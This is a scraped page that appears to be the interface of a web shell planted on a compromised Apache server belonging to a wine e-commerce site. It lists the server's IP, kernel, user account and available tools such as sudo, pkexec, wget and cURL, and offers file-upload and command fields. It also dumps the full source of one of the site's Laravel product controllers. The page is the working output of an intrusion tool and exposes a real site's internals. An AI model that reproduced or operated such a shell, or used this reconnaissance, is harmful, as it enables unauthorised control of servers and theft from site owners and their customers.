403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/ProdutoController.php
<?php

namespace App\Http\Controllers\Website;

use App\Http\Requests;
use Illuminate\Http\Request;
use App\Http\Controllers\BaseController;
use App\Modules\BannerFooter\Models\BannerFooter;
use App\Modules\Produto\Models\Produto;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\TipoDeProduto\Models\TipoDeProduto;
use App\Services\GeralService;
use App\Services\CartService;

use App\BasicInfo;

use PDF;

class ProdutoController extends BaseController
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function detalhe($slug)
    {
        $data = array();

        $data['produto'] = Produto::where('slug',$slug)->with('caracteristicas','tipo','paisOrigem')->first();
        if(!$data['produto']){
          $data['produto'] = Produto::where('slug_antiga', $slug)->with('caracteristicas','tipo','paisOrigem')->first();
        }

        if(!$data['produto']){
            return redirect('/');
        }

        $data['produto']->listaImagens = $data['produto']->getListaImagens();

        GeralService::checkoutTracking('produto', ['id_tipo' => $data['produto']->id]);

        //$data['outrosProdutos'] = Produto::select('produto.*')->join('tipo_de_produto','produto.id_tipo_produto','=','tipo_de_produto.id')->where('tipo_de_produto.slug',$data['produto']->tipo->slug)->with('caracteristicas','tipo','paisOrigem')->inRandomOrder()->limit(4)->get();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'         => 4,
            'oferta_semana' => true,
            'oferta_dia'    => true,
            'random'        => false
        ]);

        $data['ultima_oferta'] = GeralService::ultimaOfertaProduto($data['produto']->id);

        //Disponibilidade Produto
        $disponibilidade = 0;
        if($data['ultima_oferta'] && $data['ultima_oferta']->produtos){
            $disponibilidade = !empty($data['ultima_oferta']->produtos[0]->produto->disponibilidade) ? $data['ultima_oferta']->produtos[0]->produto->disponibilidade : 0;
        }
        $data['disponibilidade'] = $disponibilidade;

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['clienteLogado'] = GeralService::buscarClienteLogado();
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();

        $view_detalhe = $data['produto']->tipo->grupo == 'vestuario' ? 'produto-detalhe-vestuario' : 'produto-detalhe';

        return view("produto/{$view_detalhe}", $data);
    }

    public function detalheLoja($slug)
    {
        $data = array();

        $data['produto'] = Produto::where('slug_antiga',$slug)->with('caracteristicas','tipo','paisOrigem')->first();

        if(!$data['produto']){
            return redirect('/');
        }

        $data['produto']->listaImagens = $data['produto']->getListaImagens();

        GeralService::checkoutTracking('produto', ['id_tipo' => $data['produto']->id]);

        //$data['outrosProdutos'] = Produto::select('produto.*')->join('tipo_de_produto','produto.id_tipo_produto','=','tipo_de_produto.id')->where('tipo_de_produto.slug',$data['produto']->tipo->slug)->with('caracteristicas','tipo','paisOrigem')->inRandomOrder()->limit(4)->get();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'         => 4,
            'oferta_semana' => true,
            'oferta_dia'    => true,
            'random'        => false
        ]);

        $data['ultima_oferta'] = Oferta::select('oferta.*')->join('oferta_has_produto', 'oferta.id', '=', 'oferta_has_produto.id_oferta')->where('oferta.data' ,'<', date('Y-m-d'))->whereIn('oferta.tipo', ['D','S','C'])->where('oferta_has_produto.id_produto', $data['produto']->id)->orderBy('data', 'DESC')->first();

        //Disponibilidade Produto
        $disponibilidade = 0;
        if($data['ultima_oferta']){
          return redirect('/oferta/' . $data['ultima_oferta']->slug);
        }

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['clienteLogado'] = GeralService::buscarClienteLogado();
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();

        return view('produto/produto-detalhe', $data);
    }

    public function fichaTecnica($slug){

        $data['produto'] = Produto::where('slug', $slug)->first();
        if(!$data['produto']){
          $data['produto'] = Produto::where('slug_antiga', $slug)->first();
        }

        if(!$data['produto']){
            return redirect('/');
        }

        $data['ultima_oferta'] = Oferta::select('oferta.*')->join('oferta_has_produto', 'oferta.id', '=', 'oferta_has_produto.id_oferta')->where('oferta.data' ,'<', date('Y-m-d'))->whereIn('oferta.tipo', ['D','S','C'])->where('oferta_has_produto.id_produto', $data['produto']->id)->orderBy('oferta_has_produto.id', 'DESC')->first();

        $view_ficha_tecnica = 'ficha-tecnica';
        if($data['ultima_oferta'] && isset($data['ultima_oferta']->canalHasOferta->canal) && $data['ultima_oferta']->canalHasOferta->canal->tipo == 'PR'){
          $view_ficha_tecnica = 'ficha-tecnica-premium';
        }elseif($data['ultima_oferta'] && isset($data['ultima_oferta']->canalHasOferta->canal) && $data['ultima_oferta']->canalHasOferta->canal->tipo == 'CR'){
          $view_ficha_tecnica = 'ficha-tecnica-cru-classe';
        }

        $options = [
          'orientation'   => 'landscape',
          'margin-bottom' => 0,
          'margin-top'    => 0,
          'margin-right'  => 0,
          'margin-left'   => 0,
          
          //'header-html'   => $page_header_html,
          //'footer-right' => utf8_decode('Página [page] de [topage]'),
          //'footer-left' => utf8_decode('Documento gerado por Concode - Impresso em '.date('\ d/m/Y\ \ \à\s\ H:i')),
          //'footer-font-size' => 8,
          //'footer-font-name' => '\'Montserrat\', sans-serif',
          //'footer-html'   => $page_footer_html
        ];
        
        if(env('APP_SO', 'linux') == 'windows'){
          $data['publicPath'] = '';
          echo view("produto.{$view_ficha_tecnica}", $data)->render();
          die;
        }

        $data['publicPath'] = public_path();

        $pdf = PDF::loadView("produto.{$view_ficha_tecnica}", $data);
        $pdf->setOptions($options);

        $nomeProduto = $data['produto']->nome;

        return $pdf->download("$nomeProduto.pdf");
        //return $pdf->stream();  



        



        //return view('produto/ficha-tecnica',$data);

        //return $pdf->download('ficha-tecnica-'.$data['produto']->slug.'.pdf');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit